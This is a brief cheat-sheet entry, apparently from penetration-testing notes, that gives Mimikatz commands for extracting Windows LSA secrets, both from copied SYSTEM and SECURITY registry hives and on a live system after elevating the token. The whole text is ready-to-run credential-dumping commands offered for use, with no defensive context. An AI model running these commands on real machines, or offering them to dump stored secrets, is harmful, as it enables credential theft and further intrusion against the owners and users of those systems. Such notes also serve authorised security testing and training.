LSA secrets extraction

Mimikatz

Extract LSA secrets from registry hives:

lsadump::secrets /system:c:\temp\system /security:c:\temp\security

Or on a live system locally:

token::elevate
lsadump::secrets